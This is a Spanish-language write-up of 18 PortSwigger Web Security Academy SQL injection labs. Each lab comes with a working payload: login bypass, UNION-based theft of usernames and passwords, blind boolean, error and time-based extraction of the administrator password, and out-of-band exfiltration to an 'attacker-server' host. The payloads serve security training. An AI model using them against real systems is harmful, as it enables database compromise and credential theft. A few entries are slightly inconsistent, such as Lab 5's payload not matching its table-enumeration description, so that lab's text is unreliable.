SQL INJECTION (PORTSWIGGER)
ROADMAP
SQL Injection es una vulnerabilidad de seguridad que permite a un atacante manipular consultas SQL ejecutadas por una aplicación web. Esto ocurre cuando los datos introducidos por el usuario se insertan directamente en consultas sin validación o sanitización adecuada.
Los siguientes laboratorios pertenecen a la plataforma PortSwigger Web Security Academy y muestran diferentes técnicas de explotación de SQL Injection, desde casos básicos hasta escenarios avanzados como Blind SQL Injection y exfiltración de datos.
APPRENTICE:
Lab 1 – SQL Injection en cláusula WHERE permitiendo recuperar datos ocultos
En este laboratorio se explota una vulnerabilidad SQL Injection presente en el parámetro category.
Evidencia:
/filter?category=Gifts'+OR+1=1--
El payload altera la condición lógica de la consulta devolviendo todos los registros.
Lab 2 – SQL Injection permitiendo bypass de autenticación
El formulario de inicio de sesión es vulnerable a SQL Injection debido a que las credenciales introducidas por el usuario se insertan directamente en la consulta SQL de autenticación. Esto permite modificar la lógica de validación para acceder sin conocer la contraseña real.
Evidencia:
El comentario SQL (--) ignora la parte restante de la consulta, permitiendo iniciar sesión como administrador.
PRACTITIONER:
Lab 3 – SQL Injection para identificar tipo y versión de base de datos (Oracle)
En este laboratorio se utiliza un ataque UNION para obtener información sobre el sistema gestor de base de datos. Oracle requiere consultas específicas para recuperar la versión del servidor.
Evidencia:
'+UNION+SELECT+BANNER,+NULL+FROM+v$version--
La consulta permite recuperar información sobre la versión de Oracle utilizada por la aplicación vulnerable.
Lab 4 – SQL Injection para identificar tipo y versión de base de datos (MySQL y MSSQL)
Este laboratorio demuestra cómo identificar el motor de base de datos utilizado por una aplicación mediante consultas específicas soportadas por MySQL y Microsoft SQL Server.
Evidencia:
'+UNION+SELECT+@@version,+NULL#
El payload permite recuperar la versión del servidor de base de datos desde la respuesta de la aplicación.
Lab 5 – SQL Injection listando contenido de la base de datos
Se explota SQL Injection para enumerar las tablas existentes en la base de datos utilizando la tabla del sistema information_schema.
Evidencia:
'+UNION+SELECT+username_abcdef,+password_abcdef+FROM+users_abcdef--
El resultado muestra las tablas disponibles, incluyendo la tabla de usuarios.
Lab 6 – SQL Injection listando contenido de la base de datos en Oracle
Se utiliza SQL Injection para enumerar tablas en una base de datos Oracle utilizando vistas del sistema como all_tables.
Evidencia:
' UNION SELECT table_name,NULL FROM all_tables--
La consulta permite identificar tablas existentes que pueden contener información sensible.
Lab 7 – SQL Injection UNION determinando el número de columnas
Se determina el número de columnas necesarias para un ataque UNION SELECT probando diferentes cantidades de valores NULL.
Evidencia:
'+UNION+SELECT+NULL,NULL--
Cuando el número coincide con el de la consulta original, el servidor procesa correctamente la solicitud.
Lab 8 – SQL Injection encontrando una columna que acepte texto
Después de identificar el número de columnas, se busca cuál permite datos de tipo texto para mostrar resultados.
Evidencia:
'+UNION+SELECT+'abcdef',NULL,NULL--
La respuesta permite identificar qué columna muestra datos textuales.
Lab 9 – SQL Injection extrayendo datos de otras tablas
Una vez identificadas las columnas correctas, se usa UNION SELECT para consultar otras tablas del sistema.
Evidencia:
'+UNION+SELECT+username,+password+FROM+users--
El resultado muestra credenciales almacenadas en la base de datos.
Lab 10 – SQL Injection recuperando múltiples valores en una sola columna
Cuando solo una columna es visible en la respuesta, se pueden concatenar múltiples valores para extraer información.
Evidencia:
'+UNION+SELECT+NULL,username||'~'||password+FROM+users--
El operador de concatenación permite combinar múltiples campos.
Lab 11 – Blind SQL Injection con respuestas condicionales
La aplicación no muestra resultados SQL directamente, por lo que se utilizan condiciones booleanas para observar cambios en la respuesta.
Evidencia:
TrackingId=xyz' AND (SELECT SUBSTRING(password,§1§,1) FROM users WHERE username='administrator')='§a§'
Si la condición es verdadera, la página responde normalmente.
Lab 12 – Blind SQL Injection con errores condicionales
Se generan errores intencionales para inferir información sobre la base de datos.
Evidencia:
TrackingId=xyz'||(SELECT CASE WHEN SUBSTR(password,§1§,1)='§a§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
Lab 13 – SQL Injection basada en errores visibles
Algunas aplicaciones muestran errores SQL directamente al usuario.
Evidencia:
TrackingId=' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)--
Lab 14 – Blind SQL Injection con retrasos de tiempo
Se introduce un retraso cuando una condición es verdadera.
Evidencia: TrackingId=x'||pg_sleep(10)--
Lab 15 – Blind SQL Injection con retrasos y extracción de información
Permite extraer información carácter por carácter utilizando retrasos en la respuesta.
Evidencia:
'%3BSELECT CASE WHEN (username='administrator' AND SUBSTRING(password,§1§,1)='§a§')
THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--
Lab 16 – Blind SQL Injection con interacción Out-of-Band
Se utilizan servidores externos para confirmar la ejecución de consultas SQL.
Evidencia:
'; exec master..xp_dirtree '//attacker-server/test'--
El servidor intenta conectarse al servidor controlado por el atacante.
Lab 17 – Blind SQL Injection con exfiltración Out-of-Band
Permite enviar datos directamente a un servidor externo controlado por el atacante.
Evidencia:
'|| UTL_HTTP.REQUEST('http://attacker-server/'||password)--
Los datos sensibles se envían fuera del sistema vulnerable.
Lab 18 – SQL Injection con bypass de filtros mediante codificación XML
Algunas aplicaciones bloquean caracteres peligrosos, pero es posible evadir estos filtros mediante codificación.
Evidencia:
1 UNION SELECT username || '~' || password FROM users
La codificación permite evadir filtros de seguridad.